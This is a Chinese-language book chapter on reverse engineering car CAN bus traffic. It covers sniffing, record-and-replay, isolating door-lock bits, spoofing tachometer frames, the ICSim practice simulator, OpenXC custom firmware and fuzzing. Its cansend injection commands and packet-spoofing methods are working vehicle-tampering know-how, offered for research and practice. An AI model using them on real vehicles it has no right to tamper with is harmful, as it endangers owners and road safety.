在本章中,您已经超越了传统的 CAN 数据包,理解了更复杂的协议,如 ISO-TP。您学习了如何将 CAN 数据包连接起来,以编写更大的消息或在 CAN 上创建双向通信。您还学习了如何读取和清除任何 DTC(诊断故障代码)。您了解了如何查找未记录的诊断服务,并查看了记录有关您及您驾驶习惯的数据类型。您还探讨了恶意方如何利用诊断服务的一些方法。

第五章:逆向工程 CAN 总线

image

为了逆向工程 CAN 总线,我们首先必须能够读取 CAN 数据包并识别每个数据包的控制功能。也就是说,我们不需要访问官方的诊断 CAN 数据包,因为它们主要是只读的窗口。相反,我们感兴趣的是访问 所有 其他充斥在 CAN 总线上的数据包。其余的非诊断数据包才是汽车实际用来执行动作的。理解这些数据包所包含的信息可能需要很长时间,但这些知识对于理解汽车的行为至关重要。

定位 CAN 总线

当然,在我们逆向分析 CAN 总线之前,首先需要定位 CAN 总线。如果您可以访问 OBD-II 接口,车辆的接头针脚图应该能告诉您 CAN 总线的位置。(有关 OBD 接口和针脚图的常见位置,请参见第二章。)如果您无法访问 OBD-II 接口,或者正在寻找隐藏的 CAN 信号,请尝试以下方法:

• 寻找成对的扭绞线。CAN 总线通常由两根扭在一起的线组成。

• 使用万用表检查 2.5V 基准电压。(这可能很难识别,因为总线通常很嘈杂。)

• 使用万用表检查电阻值。CAN 总线在总线两端使用 120 欧姆的终端电阻,因此您怀疑是 CAN 的两根双绞线之间应该有 60 欧姆的电阻。

• 使用双通道示波器,并计算两个可疑 CAN 线之间的差值。您应该得到一个恒定的信号,因为差分信号应该会相互抵消。(差分信号的讨论请参见《CAN 总线》,第 16 页)。

注意

如果汽车关闭,CAN 总线通常是静默的,但插入汽车钥匙或拉动车门把手这样简单的操作通常会唤醒汽车并生成信号。

一旦您识别出 CAN 网络,下一步就是开始监控流量。

使用 can-utils 和 Wireshark 逆向分析 CAN 总线通信

首先,您需要确定总线上运行的通信类型。您通常需要识别某个特定的信号或某个组件的通信方式——例如,汽车是如何解锁的,或者传动系统是如何工作的。为此,找到目标组件使用的总线,然后逆向工程通过该总线传输的数据包,以识别它们的目的。

要监视 CAN 上的活动,你需要一个可以监视和生成 CAN 数据包的设备,比如在附录 A 中讨论的设备。市场上有大量这类设备。那些售价不到 20 美元的便宜 OBD-II 设备在技术上是可行的,但它们的嗅探器速度很慢,很多数据包会被遗漏。最好使用尽可能开放的设备,因为它们与大多数软件工具兼容——开源硬件和软件是理想的选择。然而,专门设计用来嗅探 CAN 的专有设备应该仍然有效。我们将使用 candump,来自 can-utils 套件,以及 Wireshark 来捕获和过滤数据包。

通用的数据包分析方法对 CAN 无效,因为 CAN 数据包是针对每个车辆的品牌和型号独特的。而且,由于 CAN 上的噪声很大,逐个分析每个按顺序流过的数据包也太繁琐了。

使用 Wireshark

Wireshark (www.wireshark.org/) 是一个常用的网络监控工具。如果你有网络方面的背景,你的第一反应可能是使用 Wireshark 来查看 CAN 数据包。技术上这是可行的,但我们很快就会看到,Wireshark 并不是这个任务的最佳工具。

如果你想使用 Wireshark 捕获 CAN 数据包,可以和 SocketCAN 一起使用。Wireshark 可以监听 canX 和 vcanX 设备,但不能监听 slcanX,因为串行链路设备不是标准的 netlink 设备,它们需要一个翻译守护进程才能工作。如果你需要在 Wireshark 中使用 slcanX 设备,尝试将名称从 slcanX 更改为 canX。(我在第二章中详细讨论了 CAN 接口。)

如果重命名接口不起作用,或者你只是需要将 CAN 数据包从 Wireshark 无法读取的接口移动到 Wireshark 可以读取的接口,你可以桥接这两个接口。你需要在桥接模式下使用 candump,来自 can-utils 软件包,将数据包从 slcan0 发送到 vcan0

$ candump -b vcan0 slcan0

注意在 图 5-1 中,数据部分没有被解码,只显示原始的十六进制字节。这是因为 Wireshark 的解码器仅处理基本的 CAN 头,并不知道如何处理 ISO-TP 或 UDS 数据包。突出显示的数据包是一个 UDS 请求 VIN。(我已将屏幕中的数据包按标识符排序,而不是按时间排序,以便更容易阅读。)

image

图 5-1:Wireshark 在 CAN 总线上的应用

使用 candump

与 Wireshark 一样,candump 不会为你解码数据;这个任务留给你作为逆向工程师来完成。列表 5-1 使用 slcan0 作为嗅探设备。

$ candump slcan0
  slcan0➊  388➋  [2]➌  01 10➍
  slcan0   110   [8]    00 00 00 00 00 00 00 00
  slcan0   120   [8]    F2 89 63 20 03 20 03 20
  slcan0   320   [8]    20 04 00 00 00 00 00 00
  slcan0   128   [3]    A1 00 02
  slcan0   7DF   [3]    02 09 02
  slcan0   7E8   [8]    10 14 49 02 01 31 47 31
  slcan0   110   [8]    00 00 00 00 00 00 00 00
  slcan0   120   [8]    F2 89 63 20 03 20 03 20
  slcan0   410   [8]    20 00 00 00 00 00 00 00
  slcan0   128   [3]    A2 00 01
  slcan0   380   [8]    02 02 00 00 E0 00 7E 0E
  slcan0   388   [2]    01 10
  slcan0   128   [3]    A3 00 00
  slcan0   110   [8]    00 00 00 00 00 00 00 00
  slcan0   120   [8]    F2 89 63 20 03 20 03 20
  slcan0   520   [8]    00 00 04 00 00 00 00 00
  slcan0   128   [3]    A0 00 03
  slcan0   380   [8]    02 02 00 00 E0 00 7F 0D
  slcan0   388   [2]    01 10
  slcan0   110   [8]    00 00 00 00 00 00 00 00
  slcan0   120   [8]    F2 89 63 20 03 20 03 20
  slcan0   128   [3]    A1 00 02
  slcan0   110   [8]    00 00 00 00 00 00 00 00
  slcan0   120   [8]    F2 89 63 20 03 20 03 20
  slcan0   128   [3]    A2 00 01
  slcan0   380   [8]    02 02 00 00 E0 00 7C 00

列表 5-1:通过 CAN 总线传输的流量的 candump

这些列被拆分显示了嗅探设备 ➊、仲裁 ID ➋、CAN 数据包的大小 ➌,以及 CAN 数据本身 ➍。现在你已经有了一些捕获的数据包,但它们并不是最容易阅读的。我们将使用过滤器来帮助识别我们想要更详细分析的数据包。

分组来自 CAN 总线的数据流

CAN 网络上的设备噪声很大,通常在设定的间隔或由事件(例如解锁门)触发时产生脉冲。这种噪声使得没有过滤器的情况下从 CAN 网络流式传输数据变得徒劳。好的 CAN 嗅探软件会根据数据流中的仲裁 ID 对数据包的变化进行分组,只突出显示自上次看到该数据包以来发生变化的数据部分。通过这种方式分组数据包,可以更容易地发现直接由车辆操作引起的变化,允许您积极监控工具的嗅探部分,并观察与物理变化相关的颜色变化。例如,如果每次解锁门时,您在数据流中看到相同的字节变化,您就知道您可能已经识别出了至少控制门解锁功能的字节。

使用 cansniffer 分组数据包

cansniffer命令行工具通过仲裁 ID 对数据包进行分组,并突出显示自上次嗅探器查看该 ID 以来发生变化的字节。例如,图 5-2 显示了在设备slcan0上运行cansniffer的结果。

image

图 5-2: cansniffer 示例输出

您可以添加-c标志以对任何变化的字节进行着色。

$ cansniffer -c slcan0

cansniffer工具还可以移除不发生变化的重复 CAN 流量,从而减少您需要监视的数据包数量。

过滤数据包显示

cansniffer的一个优点是您可以向它发送键盘输入,以便在终端中显示时过滤结果。(请注意,在cansniffer输出结果时,您不会看到您输入的命令。)例如,要在cansniffer收集数据包时仅查看 ID 301 和 308,请输入以下内容:

-000000
+301
+308

输入-000000会关闭所有数据包,而输入+301和+308则会过滤掉所有除了 ID 301 和 308 的其他数据包。

-000000命令使用了位掩码,它对仲裁 ID 进行逐位比较。掩码中使用的任何二进制值为 1 的位是必须为真的位,而二进制值为 0 的位则是通配符,可以匹配任何内容。全为 0 的位掩码告诉cansniffer匹配任何仲裁 ID。位掩码前面的减号(-)移除了所有匹配的位,即所有数据包。

您还可以使用过滤器和位掩码与cansniffer一起抓取一系列 ID。例如,以下命令将 ID 从 500 到 5FF 添加到显示中,其中 500 是应用于位掩码 700 的 ID,以定义我们感兴趣的范围。

+500700

要显示所有 5XX的 ID,您可以使用以下二进制表示:

ID  Binary Representation
500  101 0000 0000
700  111 0000 0000
------------------
     101 XXXX XXXX
      5    X    X

您可以指定 F00 代替 700,但由于仲裁 ID 仅由 3 个位组成,因此只需要一个 7。

使用 7FF 作为掩码与未指定 ID 的位掩码相同。例如:

+3017FF

与以下相同:

+301

该掩码使用二进制运算,并对两个数字 0x301 和 0x7FF 执行运算:

ID    二进制表示

301 011 0000 0001

7FF 111 1111 1111


011 0000 0001

3 0 1

对于不熟悉AND操作的人来说,每个二进制位都会被比较,如果两个都是 1,那么输出就是 1。例如,1 AND 1 = 1,而1 AND 0 = 0

如果你更喜欢使用 GUI 界面,Kayak 是一个 CAN 总线监控应用程序,它也使用 socketcand,并将捕获的数据包显示为彩色。Kayak 不会像cansniffer那样删除重复的数据包,但它提供了一些命令行上无法轻松获得的独特功能,例如将识别的数据包记录为 XML(.kcd文件),这些文件可以被 Kayak 用于显示虚拟仪器集群和映射数据(参见图 5-3)。

image

图 5-3:Kayak GUI 界面

使用记录和回放

一旦你使用cansniffer或类似工具确定了需要关注的特定数据包,下一步就是记录和回放数据包,以便分析它们。我们将查看两种不同的工具来完成此操作:can-utils和 Kayak。它们具有类似的功能,选择工具将取决于你正在处理的工作内容和你的界面偏好。

can-utils套件使用简单的 ASCII 格式记录 CAN 数据包,你可以通过简单的文本编辑器查看它,大多数工具都支持这种格式的记录和回放。例如,你可以使用candump记录,重定向标准输出或使用命令行选项将数据记录到文件中,然后使用canplayer回放记录。

图 5-4 显示了 Kayak 与cansniffer等效的布局视图。

image

图 5-4:Kayak 记录到日志文件

要使用 Kayak 记录 CAN 数据包,首先点击日志文件选项卡中的播放按钮 ➊。然后将一个或多个总线从项目面板拖动到日志输出窗口选项卡的总线字段 ➋。按下日志输出窗口底部的记录和停止按钮 ➌ 来开始或停止记录。一旦数据包捕获完成,日志应显示在日志目录下拉菜单中(见图 5-5)。

如果你打开 Kayak 日志文件,你将看到类似于清单 5-2 中的代码片段。这个例子中的值不会直接与图 5-4 中的值一一对应,因为 GUI 按 ID 分组,类似于cansniffer,但日志是按顺序排列的,类似于candump

PLATFORM NO_PLATFORM
DESCRIPTION "No description"
DEVICE_ALIAS OBD Port slcan0
(1094.141850)➊ slcan0➋  128#a20001➌
(1094.141863)  slcan0   380#02020000e0007e0e
(1094.141865)  slcan0   388#0110
(1094.144851)  slcan0   110#0000000000000000
(1094.144857)  slcan0   120#f289632003200320

清单 5-2:Kayak 日志文件的内容

image

图 5-5:日志文件选项卡设置的右侧面板

除了一些元数据(PLATFORMDESCRIPTIONDEVICE_ALIAS),日志基本上与can-utils包捕获的日志相同:➊是时间戳,➋是总线,➌是通过#符号分隔的仲裁 ID 和数据。要播放捕获的数据,右键单击右侧面板中的日志描述,然后打开录制(参见图 5-5)。

清单 5-3 展示了使用candump-l命令行选项创建的日志文件:

(1442245115.027238) slcan0 166#D0320018
(1442245115.028348) slcan0 158#0000000000000019
(1442245115.028370) slcan0 161#000005500108001C
(1442245115.028377) slcan0 191#010010A141000B

清单 5-3:candump日志文件

请注意,清单 5-3 中的candump日志文件与图 5-4 中 Kayak 展示的几乎完全相同。(有关不同can-utils程序的更多详情,请参见《CAN 工具套件》,见第 41 页。)

创意数据包分析

现在我们已经捕获了数据包,是时候确定每个数据包的作用了,这样我们就可以用它来解锁东西或利用 CAN 总线。让我们从一个简单的动作开始,这个动作最有可能只切换一个单一的比特——解锁车门的代码——并查看我们是否能找到控制该行为的数据包。

使用 Kayak 查找解锁门控制

CAN 总线上有大量噪音,因此即使有一个好的嗅探器,找到单个比特的变化也可能非常困难。但这里有一个通用的方法来识别单个 CAN 数据包的功能:

  1. 按下录制

  2. 执行物理操作,比如解锁车门。

  3. 停止录制

  4. 按下播放

  5. 查看该操作是否被重复。例如,门是否解锁了?

如果按下播放没有解锁门,可能有几个地方出了问题。首先,你可能错过了录制中的动作,所以请尝试重新录制并执行该操作。如果你还是无法录制和回放该操作,消息可能是硬接入到物理锁按钮上的,通常情况下,驾驶员侧的门锁就是这样。尝试在录制时解锁乘客侧车门。如果这仍然无效,解锁动作的消息可能位于你正在监控的其他 CAN 总线上——你需要找到正确的总线——或者回放可能导致了冲突,导致数据包被覆盖。尝试多次回放录音,以确保回放正常工作。

一旦你有了执行所需操作的录音,使用图 5-6 中展示的方法,过滤噪音并定位用于通过 CAN 总线解锁车门的确切数据包和比特。

现在,继续将数据包捕获的大小减半,直到只剩一个数据包,此时你应该能够找出哪些比特位或字节用于解锁车门。最快的方法是打开你的嗅探器,并过滤掉你之前筛选出的仲裁 ID。解锁车门,变化的比特位或字节应该会被高亮显示。现在,尝试解锁汽车的后车门,观察字节的变化。你应该能够准确判断出解锁每个车门需要改变哪个比特位。

image

图 5-6:解锁逆向流程示例

使用 can-utils 查找门解锁控制

为了通过 can-utils 来识别数据包,你可以使用 candump 来记录数据,并使用 canplayer 播放日志文件,正如前面所提到的。然后,使用文本编辑器缩减文件大小,再进行播放。缩减到只剩一个数据包时,你就可以通过 cansend 来帮助你确定哪个字节或哪些比特位控制了目标操作。例如,通过移除日志文件的不同部分,你可以找出触发门解锁的那个 ID:

slcan0  300   [8]  00 00 84 00 00 0F 00 00

现在,你可以编辑每个字节并重新播放该行,或者你可以使用 cansniffer,并使用 +300 作为过滤器,仅筛选出 300 的仲裁 ID,监视在你解锁车门时哪个字节发生了变化。例如,如果控制门解锁的字节是第六个字节—在前面的示例中是 0x0F—我们知道当第六个字节是 0x00 时,车门解锁;当它是 0x0F 时,车门锁定。

注意

这是一个假设的示例,假定我们已经按照本章之前列出的所有步骤找到了这个特定的字节。具体细节会因每辆车而异。

我们可以通过 cansend 来验证我们的发现:

$ cansend slcan0 300#00008400000F0000

如果发送此数据后,所有的门都锁上了,那么我们就成功地找到了控制门解锁的包。

现在,改变 0x0F 会发生什么呢?要找出答案,解锁汽车,这次发送 0x01:

$ cansend slcan0 300#0000840000010000

注意到只有驾驶员侧车门锁定,其余车门保持解锁。如果你重复这个过程并使用 0x02,那么只有前排乘客侧车门会锁定。当你再次使用 0x03 时,驾驶员侧车门和前排乘客侧车门都会锁定。但为什么 0x03 控制的是两扇车门,而不是其他第三扇车门呢?当你查看其二进制表示时,答案可能会更加清晰:

0x00 = 00000000
0x01 = 00000001
0x02 = 00000010
0x03 = 00000011

第一个比特代表驾驶员侧车门,第二个比特代表前排乘客侧车门。当比特为 1 时,车门锁定;当比特为 0 时,车门解锁。当你发送 0x0F 时,意味着你将所有可能影响车门锁定的比特位设置为二进制 1,从而锁定所有车门:

0x0F = 00001111

剩下的四个比特位怎么办?找出它们的作用的最佳方法就是将它们设置为 1,并监控车辆的变化。我们已经知道,至少部分 0x300 信号与车门相关,因此可以相对放心地假设其他四个比特也与车门相关。如果不是,它们可能控制不同的车门相关行为,例如打开行李厢。

注意

如果在切换某个比特时没有得到响应,可能是该比特根本没有被使用,仅仅是被保留。

获取转速表读数

获取转速表(即车辆速度)信息的方法与解锁车门相同。诊断代码报告车辆的速度,但无法设置速度如何显示(这岂不是更有趣?),因此我们需要找出车辆控制仪表盘(IC)读数的方式。

为了节省空间,转速值不会以读取值的十六进制形式显示;相反,值会进行移位,使得 1000 转速看起来像 0xFA0。这个值通常被称为“移位”,因为在代码中,开发人员使用位移操作来执行相当于乘法或除法的操作。对于 UDS 协议,实际的值如下:

image

更糟的是,你无法同时监控 CAN 流量并查询诊断转速以寻找变化的值。这是因为车辆通常使用专有的方法压缩转速值。尽管诊断值已经设定,但它们并不是车辆实际使用的数据包和数值,因此我们需要通过反向解析原始 CAN 数据包来找到实际值。(在做这项操作之前,一定要把车停在安全的位置,拉好手刹,最好将车抬起或者放在滚筒上,以防止车突然启动并将你压伤。)

按照你用于寻找解锁车门控制的步骤进行操作:

  1. 按下录制

  2. 按下油门踏板。

  3. 停止录制

  4. 按下回放

  5. 查看转速表指示是否有所移动。

在此测试过程中,你可能会发现许多引擎指示灯闪烁并且变得疯狂,因为这个数据包做的远不止解锁车门。忽略所有闪烁的警告灯,按照图 5-6 中的流程图找到导致转速表变化的仲裁 ID。这次发生碰撞的机会会比寻找解锁车门的比特时更大,因为涉及的内容更多。因此,你可能需要录制比之前更多的流量。(记住之前提到的数值转换,并且记住,这个仲裁 ID 中可能有多个字节控制报告的速度。)

使用 Kayak 工具

为了简化操作,我们将使用 Kayak 的图形界面而不是 can-utils 来寻找控制转速表的仲裁 ID。同样,确保车辆固定在开阔地带,紧急刹车已拉起,最好将车辆升起或放在滚筒上。开始录制并给引擎加点油。然后停止录制并回放数据。转速表应有所移动;如果没有,可能是你连接到了错误的总线,需要按照本章前面的说明找到正确的总线。

一旦你从车辆获得预期的反应,重复使用找到车门解锁的二分法过程,并添加一些额外的 Kayak 选项。

Kayak 的回放界面允许你设置回放为无限循环,并且更重要的是,可以设置“输入”和“输出”数据包(见图 5-7)。滑动条表示捕获的数据包数量。使用滑动条可以选择回放时开始和停止的包。你可以通过滑动条快速跳转到录音的中间或其他部分,这使得回放一部分非常方便。

image

图 5-7:Kayak 回放界面

至于测试,你无法像解锁汽车时那样只发送一个数据包,因为车辆会不断报告其当前速度。为了克服这个噪声,你需要比正常通信更快地发送数据,以避免总是发生碰撞。例如,如果你在真实数据包播放之后立即播放你的数据包,那么最后看到的更新将是修改后的数据。减少总线上的噪声可以减少碰撞,并让演示更加干净。如果你能在真实数据包之后立即发送伪造的数据包,通常比单纯地洪水式发送数据包得到更好的结果。

要使用can-utils持续发送数据包,你可以使用一个带有cansendcangenwhile循环。(当使用 Kayak 的发送帧对话框发送数据包时,请确保选中间隔框。)

使用仪表盘模拟器创建背景噪声

仪表盘模拟器(ICSim)是 Open Garages 推出的最有用的工具之一,Open Garages 是一个促进机械师、性能调校师和安全研究人员之间开放合作的组织(见附录 A)。ICSim 是一个软件工具,旨在产生一些关键的 CAN 信号,以提供大量看似“正常”的背景 CAN 噪声——本质上,它是让你在不需要动你的车的情况下练习 CAN 总线逆向工程。(ICSim 仅限 Linux,因为它依赖于虚拟 CAN 设备。)你通过使用 ICSim 学到的方法可以直接应用到目标车辆上。ICSim 设计为一种安全的方式,让你熟悉 CAN 逆向工程,以便过渡到实际车辆时能够尽可能无缝。

设置 ICSim

github.com/zombieCraig/ICSim获取 ICSim 的源代码,并按照下载的 README 文件中的说明编译软件。在运行 ICSim 之前,你应该在 README 中找到一个名为setup_vcan.sh的示例脚本,运行它来设置一个vcan0接口供 ICSim 使用。

ICSim 包括两个组件,icsimcontrols,它们通过 CAN 总线互相通信。要使用 ICSim,首先将仪表盘加载到 vcan 设备,如下所示:

$ ./icsim vcan0

作为回应,你应该看到 ICSim 仪表盘,带有转向灯、速度表和一辆车的图片,这些会用于显示车门的锁定与解锁状态(见图 5-8)。

image

图 5-8:ICSim 仪表盘

icsim应用程序只监听 CAN 信号,因此当 ICSim 首次加载时,你不应该看到任何活动。为了控制模拟器,像这样加载 CANBus 控制面板:

$ ./controls vcan0

应该会出现如图 5-9 所示的 CANBus 控制面板。

image

图 5-9:ICSim 控制界面

屏幕看起来像一个游戏控制器;事实上,你可以插入一个 USB 游戏控制器,它应该被 ICSim 支持。(截至本文撰写时,你也可以使用sixad工具通过蓝牙连接 PS3 控制器。)你可以使用控制器以类似于使用游戏主机驾驶汽车的方式操作 ICSim,或者你可以通过按下键盘上的相应键来控制它(见图 5-9)。

注意

控制面板加载后,你应该看到速度表在 0 mph 附近保持空闲。如果指针有些抖动,你就知道它在工作。控制应用程序仅向 CAN 总线写入数据,无法通过其他方式与icsim进行通信。控制虚拟汽车的唯一方式是通过 CAN。

CANBus 控制面板的主要控制项如下:

加速(上箭头) 按下此键使得速度表加速。你按住键的时间越长,虚拟车辆行驶得越快。

转向(左/右箭头) 按住一个转向方向键以闪烁转向灯。

锁定(左 SHIFT),解锁(右 SHIFT) 这个操作需要你同时按下两个按钮。按住左 SHIFT 并按下一个按钮(A、B、X 或 Y)来锁定相应的车门。按住右 SHIFT 并按下一个按钮来解锁车门。如果按住左 SHIFT 然后按右 SHIFT,它将解锁所有车门。如果按住右 SHIFT 然后按左 SHIFT,它将锁定所有车门。

确保你可以将 ICSim 和 CANBus 控制面板放在同一屏幕上,以便你可以看到它们如何相互影响。然后,选择控制面板,确保它准备好接收输入。玩一下这些控制项,确保 ICSim 能正确响应。如果你没有看到控制项的响应,请确保选择并激活了 ICSim 控制窗口。

在 ICSim 上读取 CAN 总线流量

当你确认一切正常工作时,启动你选择的嗅探器并查看 CAN 总线流量,如图 5-10 所示。尝试识别哪些数据包控制着车辆,并创建脚本以在不使用控制面板的情况下控制 ICSim。

你在图 5-10 中看到的大部分数据变化是由真实 CAN 总线的回放文件引起的。你需要筛选这些消息,以确定正确的数据包。所有回放和数据包发送方法都可以与 ICSim 一起使用,因此你可以验证你的发现。

image

图 5-10:使用 ICSim 的屏幕布局

改变 ICSim 的难度

ICSim 的一个优点是,你可以通过让目标 CAN 流量更难找到来挑战自己。ICSim 支持四个难度级别——0 到 3,级别 1 为默认值。级别 0 是一个超级简单的 CAN 数据包,它执行预定的操作,没有任何背景噪音,而级别 3 会随机化数据包中的所有字节。要让模拟器选择不同的 ID 和目标字节位置,请使用 ICSim 的随机化选项:

$ ./icsim -r vcan0
Using CAN interface vcan0
Seed: 1419525427

该选项将一个随机种子值打印到控制台屏幕上。

将此值与选择的难度级别一起传入 CANBus 控制面板:

$ ./controls -s 1419525427 -l 3 vcan0

你也可以回放或分享一个特定的种子值。如果你找到一个喜欢的,或者想与朋友竞赛看谁先解码数据包,可以使用类似这样的固定种子值启动 ICSim:

$ ./icsim -s 1419525427 vcan0

接下来,使用相同的种子值启动 CANBus 控制面板,将随机控制面板与 ICSim 同步。如果种子值不相同,它们将无法进行通信。

第一次使用 ICSim 时,可能需要一些时间来找到正确的数据包,但经过几次操作后,你应该能够迅速识别出哪些数据包是你的目标。

尝试在 ICSim 中完成以下挑战:

  1. 创建“危险信号灯”。使两个转向信号灯同时闪烁。

  2. 创建一个命令,仅锁定后面两个车门。

  3. 将速度表尽可能设置为 220 mph。

使用 OpenXC 反向工程 CAN 总线

根据你的车辆,反向工程 CAN 总线的一种解决方案是 OpenXC,这是一个开放的硬件和软件标准,能够将专有的 CAN 协议转换为易于阅读的格式。OpenXC 项目由福特汽车公司发起——目前,OpenXC 仅由福特支持——但它可以与任何支持该标准的汽车制造商兼容。(请访问 openxcplatform.com/ 获取如何获取预制加密狗的信息。)

理想情况下,像 OpenXC 这样的 CAN 数据开放标准将消除许多应用程序需要反向工程 CAN 流量的需求。如果汽车行业其他公司能就一个定义如何工作标准达成一致,将极大地提升车主自己动手改装和开发创新工具的能力。

翻译 CAN 总线消息

如果车辆支持 OpenXC,你可以将车辆接口(VI)插入 CAN 总线,VI 应该能够翻译专有的 CAN 消息并将它们发送到你的电脑,这样你就可以读取支持的数据包,而无需进行逆向工程。从理论上讲,OpenXC 应该允许通过标准 API 访问任何 CAN 数据包。此访问可能是只读的,也可能允许你传输数据包。如果更多的汽车制造商最终支持 OpenXC,它可以为第三方工具提供比标准 UDS 诊断命令更原始的车辆访问权限。

注意

OpenXC 支持 Python 和 Android,并包括如 openxc-dump 等工具,用于显示 CAN 活动。

OpenXC 默认 API 的字段如下:

accelerator_pedal_position

brake_pedal_status

button_event(通常是方向盘按钮)

door_status

engine_speed

fuel_consumed_since_last_restart

fuel_level

headlamp_status

high_beam_status

ignition_status

latitude

longitude

odometer

parking_brake_status

steering_wheel_angle

torque_at_transmission

transmission_gear_position

vehicle_speed

windshield_wiper_status

不同的车辆可能支持与这里列出的信号不同的信号,或者根本不支持任何信号。

OpenXC 还支持用于记录车辆行程的 JSON 跟踪输出。JSON 提供了一种通用的数据格式,便于大多数其他现代编程语言使用,如 列出 5-4 中所示。

{"metadata": {
    "version": "v3.0",
    "vehicle_interface_id": "7ABF",
    "vehicle": {
        "make": "Ford",
        "model": "Mustang",
        "trim": "V6 Premium",
        "year": 2013
    },
    "description": "highway drive to work",
    "driver_name": "TJ Giuli",
    "vehicle_id": "17N1039247929"
}

列出 5-4:简单的 JSON 文件输出

注意,JSON 中的元数据定义使得人类和编程语言都能相对容易地读取和解释。上述 JSON 列表是一个定义文件,所以 API 请求会更小。例如,当请求字段 steering_wheel_angle 时,转换后的 CAN 数据包将如下所示:

{"timestamp": 1385133351.285525, "name": "steering_wheel_angle", "value": 45}

你可以像这样通过 OBD 接口与 OpenXC 进行交互:

$ openxc-diag –message-id 0x7df –mode 0x3

写入 CAN 总线

如果你想将数据写回总线,你可能可以使用如下的行,将方向盘角度写回车辆,但你会发现设备只会重新发送少量消息到 CAN 总线。

$ openxc-control write –name steering_wheel_angle –value 42.0

从技术上讲,OpenXC 也支持原始的 CAN 写入,如下所示:

$ openxc-control write –bus 1 –id 42 –data 0x1234

这将我们从已翻译的 JSON 数据带回到原始的 CAN 黑客技术,正如本章前面所述。如果你想编写一个应用程序或嵌入式图形界面,只读取并响应你的车辆信息,并且你拥有一辆新款福特车,那么这可能是实现这些目标的最快途径。

黑客 OpenXC

如果你已经完成了 CAN 信号的逆向工程工作,你甚至可以制作自己的 VI OpenXC 固件。编译你自己的固件意味着你没有任何限制,所以你可以随心所欲地读取和写入数据,甚至可以创建“未支持”的信号。例如,你可以创建一个 remote_engine_start 信号,并将其添加到自己的固件中,从而提供一个简单的接口来启动你的车。太棒了,开源!

考虑一个表示engine_speed的信号。列表 5-5 将设置一个基本配置来输出engine_speed信号。我们将发送一个 2 字节长、消息 ID 为 0x110 的 RPM 数据,从第二个字节开始。

{  "name" : "Test Bench",
     "buses": {
        "hs": {
            "controller": 1,
            "speed": 500000
        }
   },
    "messages": {
       "0x110": {
          "name": "Acceleration",
          "bus", "hs",
          "signals": {
             "engine_speed_signal": {
                "generic_name": "engine_speed",
                "bit_position": 8,
                "bit_size": 16
             }
          }
       }
   }
}

列表 5-5:定义engine_speed的简单 OpenXC 配置文件

你想要修改的 OpenXC 配置文件存储在 JSON 中。首先,我们通过使用文本编辑器创建一个 JSON 文件来定义总线。在示例中,我们为一个在 500Kbps 运行的高速总线上的信号创建一个 JSON 配置。

一旦你定义了 JSON 配置文件,就可以使用以下代码将其编译成一个 CPP 文件,进而编译成固件:

$ openxc-generate-firmware-code –message-set ./test-bench.json > signals.cpp

然后,使用以下命令重新编译 VI 固件:

$ fab reference build

如果一切顺利,你应该会得到一个.bin文件,可以上传到你的 OpenXC 兼容设备。默认总线设置为原始读/写模式,默认情况下将固件设置为警告性的只读模式,除非信号或整个总线被设置为支持写入。要设置这些,当定义总线时,你可以添加raw_can_moderaw_writable并将其设置为 true。

通过为 OpenXC 制作自己的配置文件,你可以绕过预发布固件中设置的限制,并支持除福特外的其他车辆。理想情况下,其他制造商会开始支持 OpenXC,但采用进展缓慢,而且总线限制非常严格,你可能还是希望使用自定义固件。

CAN 总线模糊测试

对 CAN 总线进行模糊测试是发现未记录的诊断方法或功能的好方法。模糊测试采取随机的、类似散弹枪的反向工程方法。在进行模糊测试时,你会向输入发送随机数据并观察是否有意外的行为,对于车辆来说,这可能是物理变化,比如 IC 消息,或者组件崩溃,比如关闭或重启。

好消息是,制作一个 CAN 模糊测试器很容易。坏消息是,它很少有用。有效的数据包通常是用于引发特定变化的数据包集合的一部分,比如一个诊断服务,只有在成功传递安全令牌之后才会激活,因此很难在模糊测试时判断应该集中在哪个数据包上。此外,一些 CAN 数据包只有在移动的车辆内才可见,这会非常危险。尽管如此,不要排除将模糊测试作为潜在攻击方法,因为有时你可以用它来找到未记录的服务或导致目标组件崩溃的漏洞。

一些嗅探器直接支持模糊测试——这一特性通常出现在传输部分,表现为工具能够传输数据部分字节递增的数据包。例如,在 SocketCAN 的情况下,你可以使用cangen来生成随机的 CAN 流量。其他一些开源 CAN 嗅探解决方案也允许使用 Python 等语言进行轻松的脚本编写或编程。

一个很好的模糊测试起点是查看 UDS 命令,特别是“未记录”的制造商命令。在进行未记录的 UDS 模式模糊测试时,我们通常会寻找来自未知模式的任何响应。例如,当针对 ECU 的 UDS 诊断时,你可能会向 ID 0x7DF 发送随机数据,并从一个意外模式收到错误数据包。然而,如果你使用像 CaringCaribou 这样的暴力破解工具,通常会有更简洁的方法来实现相同的目标,比如监控或逆向诊断工具本身。

问题解决指南

CAN 总线及其组件具有容错能力,这限制了逆向 CAN 总线时可能造成的损坏。然而,如果你正在对 CAN 总线进行模糊测试或在实时 CAN 总线网络中重播大量 CAN 数据,问题可能会出现。以下是一些常见问题及其解决方法。

IC 灯闪烁

在向 CAN 总线发送数据包时,IC 灯闪烁是很常见的,通常可以通过重启车辆来重置这些灯。如果重启车辆后问题仍未解决,尝试断开并重新连接电池。如果这样仍无法解决问题,确保电池充足电量,因为电池电量低也可能导致 IC 灯闪烁。

汽车无法启动

如果汽车关闭后无法重新启动,通常是因为你在汽车未完全运行的情况下与 CAN 总线进行操作,这样会快速消耗电池。为了重新启动,可以使用备用电池启动车辆。

如果你已经尝试使用跳线启动,但汽车仍无法启动,可能需要拔掉一个保险丝并重新插回去以重新启动汽车。查找汽车手册中的发动机保险丝,首先拔掉你最怀疑的保险丝。保险丝可能没有熔断,因此只需拔出并重新插回去,强制相关设备重新启动。你选择拔掉的保险丝将取决于你的汽车类型,但如果发动机无法启动,你将需要找到主要部件来断开并检查。寻找主要电子设备周围的保险丝。控制前大灯的保险丝可能不是罪魁祸首。通过排除法找出导致问题的设备。

汽车无法关闭

你可能会发现无法关闭汽车。这是一个糟糕但幸运的罕见情况。首先,检查你是否在向 CAN 总线发送大量流量;如果是,停止并断开与 CAN 总线的连接。如果你已经与 CAN 总线断开连接,且汽车仍无法关闭,你需要开始拔掉保险丝,直到汽车能关闭为止。

车辆反应失控

这只有在你在行驶中的车辆上注入数据包时才会发生,这是一个非常糟糕的主意,绝对不应这样做!如果你必须在车辆行驶时进行审计,应该将其抬离地面或放在滚筒上。

砖化

逆向工程 CAN 总线绝不应导致“砖化”——即将车辆彻底损坏,以至于无法使用。要让车辆“砖化”,你需要修改固件,这样做会使车辆或组件失去保修,并且是自担风险。

总结

